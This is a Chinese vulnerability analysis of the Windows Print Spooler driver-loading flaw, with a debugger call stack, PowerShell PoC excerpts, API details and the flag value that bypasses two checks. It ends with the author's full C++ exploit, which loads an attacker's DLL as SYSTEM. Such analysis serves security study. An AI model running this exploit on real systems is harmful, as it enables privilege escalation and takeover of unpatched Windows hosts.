漏洞详情
简介
打印机服务提供了添加打印机的接口,该接口缺乏安全性校验,导致攻击者可以伪造打印机信息,在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。
影响版本
windows_10 20h2
windows_10 21h1
windows_10 1607
windows_10 1809
windows_10 1909
windows_10 2004
windows_7 sp1
windows_8.1
windows_rt_8.1
windows_server_2008 sp2
windows_server_2008 r2 sp1 x64
windows_server_2012
windows_server_2012 r2
windows_server_2016
windows_server_2019
危害等级
8.8 ∣ H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8 ∣ HIGH
漏洞复现
【环境】 W i n 10 1909 18363.592 x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64
POC下载见参考
非管理员权限下,直接利用漏洞添加一个管理员账户
漏洞分析
加载任意模块调用栈
# Child-SP RetAddr Call Site
00 00000000`00d9c5d8 00007ff8`61a6a233 ntdll!NtMapViewOfSection+0x14
01 00000000`00d9c5e0 00007ff8`61a69f96 ntdll!LdrpMinimalMapModule+0x103
02 00000000`00d9c6a0 00007ff8`61a6d5b7 ntdll!LdrpMapDllWithSectionHandle+0x1a
03 00000000`00d9c6f0 00007ff8`61a6e608 ntdll!LdrpMapDllNtFileName+0x183
04 00000000`00d9c7f0 00007ff8`61a6e360 ntdll!LdrpMapDllFullPath+0xe0
05 00000000`00d9c980 00007ff8`61a62536 ntdll!LdrpProcessWork+0x74
06 00000000`00d9c9e0 00007ff8`61a622a8 ntdll!LdrpLoadDllInternal+0x13e
07 00000000`00d9ca60 00007ff8`61a61764 ntdll!LdrpLoadDll+0xa8
08 00000000`00d9cc10 00007ff8`5eb956d0 ntdll!LdrLoadDll+0xe4
09 00000000`00d9cd00 00007ff8`463777c1 KERNELBASE!LoadLibraryExW+0x170
0a 00000000`00d9cd70 00007ff8`46377395 winspool!Ordinal213+0x4d1
0b 00000000`00d9ce20 00007ff8`460f603f winspool!Ordinal213+0xa5
0c 00000000`00d9ce70 00007ff8`460f52a5 PrintIsolationProxy!DllUnregisterServer+0x103f
0d 00000000`00d9cf20 00007ff8`462c2bc7 PrintIsolationProxy!DllUnregisterServer+0x2a5
0e 00000000`00d9cf90 00007ff8`462c0a1a localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface+0x27
0f 00000000`00d9cfd0 00007ff8`46255864 localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule+0x8e
10 00000000`00d9d030 00007ff8`4624c3ee localspl!NotifyDriver+0x134
11 00000000`00d9d0b0 00007ff8`46252a21 localspl!CompleteDriverUpgrade+0x342
12 00000000`00d9d3d0 00007ff8`462542d4 localspl!WaitRequiredForDriverUnload+0x441
13 00000000`00d9e360 00007ff8`462559cf localspl!InternalAddPrinterDriverEx+0xc80
14 00000000`00d9e870 00007ff8`46255292 localspl!SplAddPrinterDriverEx+0xef
15 00000000`00d9e8d0 00007ff6`85544caf localspl!LocalAddPrinterDriverEx+0xa2
16 00000000`00d9e920 00007ff6`8551fa6e spoolsv!AddPrinterDriverExW+0x6f
17 00000000`00d9e960 00007ff6`8551c634 spoolsv!YAddPrinterDriverEx+0x2ce
18 00000000`00d9e9a0 00007ff8`60986983 spoolsv!RpcAddPrinterDriverEx+0x54
19 00000000`00d9e9d0 00007ff8`609ea036 RPCRT4!Invoke+0x73
1a 00000000`00d9ea30 00007ff8`60947a7c RPCRT4!Ndr64StubWorker+0xb56
1b 00000000`00d9f0d0 00007ff8`609648f8 RPCRT4!NdrServerCallAll+0x3c
1c 00000000`00d9f120 00007ff8`6093c951 RPCRT4!DispatchToStubInCNoAvrf+0x18
1d 00000000`00d9f170 00007ff8`6093c20b RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
1e 00000000`00d9f250 00007ff8`6092a86f RPCRT4!RPC_INTERFACE::DispatchToStub+0xcb
1f 00000000`00d9f2b0 00007ff8`60929d1a RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
20 00000000`00d9f390 00007ff8`60929301 RPCRT4!LRPC_SCALL::HandleRequest+0x7fa
21 00000000`00d9f490 00007ff8`60928d6e RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
22 00000000`00d9f530 00007ff8`609269a5 RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
23 00000000`00d9f670 00007ff8`61a7346d RPCRT4!LrpcIoComplete+0xc5
24 00000000`00d9f710 00007ff8`61a741c2 ntdll!TppAlpcpExecuteCallback+0x14d
25 00000000`00d9f760 00007ff8`61957bd4 ntdll!TppWorkerThread+0x462
26 00000000`00d9fb20 00007ff8`61aaced1 KERNEL32!BaseThreadInitThunk+0x14
27 00000000`00d9fb50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
POC分析
POC主要做两件事:
-
枚举本地Windows x64环境下的所有打印机驱动
if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){ $driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2) } else { Write-Host "[!] failed to get current driver list" [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr) return }
-
添加打印机驱动
$driver_info = New-Object $DRIVER_INFO_2 $driver_info.cVersion = 3 $driver_info.pConfigFile = $DLL $driver_info.pDataFile = $DLL $driver_info.pDriverPath = $driver.pDriverPath $driver_info.pEnvironment = "Windows x64" $driver_info.pName = $DriverName $pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info)) [System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false) if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) { if ( $delete_me ) { Write-Host "[+] added user $NewUser as local administrator" } else { Write-Host "[+] driver appears to have been loaded!" } } else { Write-Error "[!] AddPrinterDriverEx failed" }
重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动,这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下:
BOOL AddPrinterDriverEx(
_In_ LPTSTR pName,
_In_ DWORD Level,
_Inout_ LPBYTE pDriverInfo,
_In_ DWORD dwFileCopyFlags
);
-
pName - 指向以 null 结尾的字符串的指针,该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL,则该函数将在本地计算机上安装驱动程序。
-
Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。
-
pDriverInfo - 根据Level的取值,该参数对应的结构有
Level 结构体 2 DRIVER_INFO_2 3 DRIVER_INFO_3 4 DRIVER_INFO_4 6 DRIVER_INFO_6 8 DRIVER_INFO_8 2-6对应的结构体都是8对应的结构体的一部分,本次漏洞利用只需要2对应的那部分。
typedef struct _DRIVER_INFO_2 { DWORD cVersion; // 为其编写驱动程序的操作系统版本。 支持的值为 3。 LPTSTR pName; // 指向以 null 结尾的字符串的指针,该字符串指定驱动程序的名称 (例如“QMS 810”)。 LPTSTR pEnvironment; // 指向以 null 结尾的字符串的指针,该字符串指定 (为其编写驱动程序的环境,例如 Windows x86、Windows IA64 和 Windows x64) 。 LPTSTR pDriverPath; // 指向以 null 结尾的字符串的指针,指定包含设备驱动程序 (的文件的文件名或完整路径和文件名,例如“c:\drivers\pscript.dll”) 。 LPTSTR pDataFile; // 指向以 null 结尾的字符串的指针,该字符串指定包含驱动程序数据的文件名或完整路径和文件名, (例如“c:\drivers\Qms810.ppd”) 。 LPTSTR pConfigFile; // 指向以 null 结尾的字符串的指针,该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名,例如“c:\drivers\Pscrptui.dll”) 。 } DRIVER_INFO_2, *PDRIVER_INFO_2;
-
dwFileCopyFlags - 含义如下:
值 含义 APD_COPY_ALL_FILES 添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。 APD_COPY_FROM_DIRECTORY 使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志,则如果DRIVER_INFO_6结构指定存在的文件不存在,则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000: 不支持此标志。 APD_COPY_NEW_FILES 添加打印机驱动程序,并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。 APD_STRICT_DOWNGRADE 仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时,才添加打印机驱动程序。 APD_STRICT_UPGRADE 仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时,才添加打印机驱动程序。
从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx。
要想成功添加打印机驱动,中间要通过两处关键检查。
- S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部:
- I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部:
最终会加载位于DRIVER_INFO_2
结构体中pConfigFile字段指向的模块。
漏洞利用
为了完成漏洞利用,首先枚举当前系统的打印机驱动,选取一个驱动路径填充到DRIVER_INFO_2
的pDriverPath字段中。然后参数dwFileCopyFlags填0x8014即可绕过上面分析中的两处检查,最终到达漏洞点。
我的EXP代码:
#include <iostream>
#include <windows.h>
void Exploit()
{
const char* pName = "Hack";
const char* pVenomDll = "Your venmo dll";
const char* pEnvironment = "Windows x64";
PDRIVER_INFO_2A pDrvInfo = NULL;
DRIVER_INFO_2A drvInfo;
PBYTE pBuffer = NULL;
DWORD cbNeed = 0;
DWORD nDrv;
BOOL bRet;
// 枚举本地所有Windows x64的打印机
bRet = EnumPrinterDriversA(
NULL,
(LPSTR)pEnvironment,
2,
NULL,
cbNeed,
&cbNeed,
&nDrv);
pBuffer = new BYTE[cbNeed];
if (pBuffer == NULL)
goto cleanup;
bRet = EnumPrinterDriversA(
NULL,
(LPSTR)pEnvironment,
2,
pBuffer,
cbNeed,
&cbNeed,
&nDrv);
if (!bRet)
goto cleanup;
pDrvInfo = (PDRIVER_INFO_2A)pBuffer;
for (DWORD i = 0; i < nDrv; i++)
{
printf(
"[+] DriverName: %s\n"
" DriverPath: %s\n",
pDrvInfo[i].pName,
pDrvInfo[i].pDriverPath
);
}
drvInfo.cVersion = 3;
drvInfo.pDriverPath = pDrvInfo[0].pDriverPath;
drvInfo.pConfigFile = (LPSTR)pVenomDll;
drvInfo.pDataFile = (LPSTR)pVenomDll;
drvInfo.pEnvironment = (LPSTR)pEnvironment;
drvInfo.pName = (LPSTR)pName;
bRet = AddPrinterDriverExA(NULL, 2,(PBYTE)&drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);
if (!bRet)
{
printf("[-] ErrorCode: 0x%x\n", GetLastError());
}
cleanup:
if (pBuffer)
delete[] pBuffer;
}
int main()
{
Exploit();
return 0;
}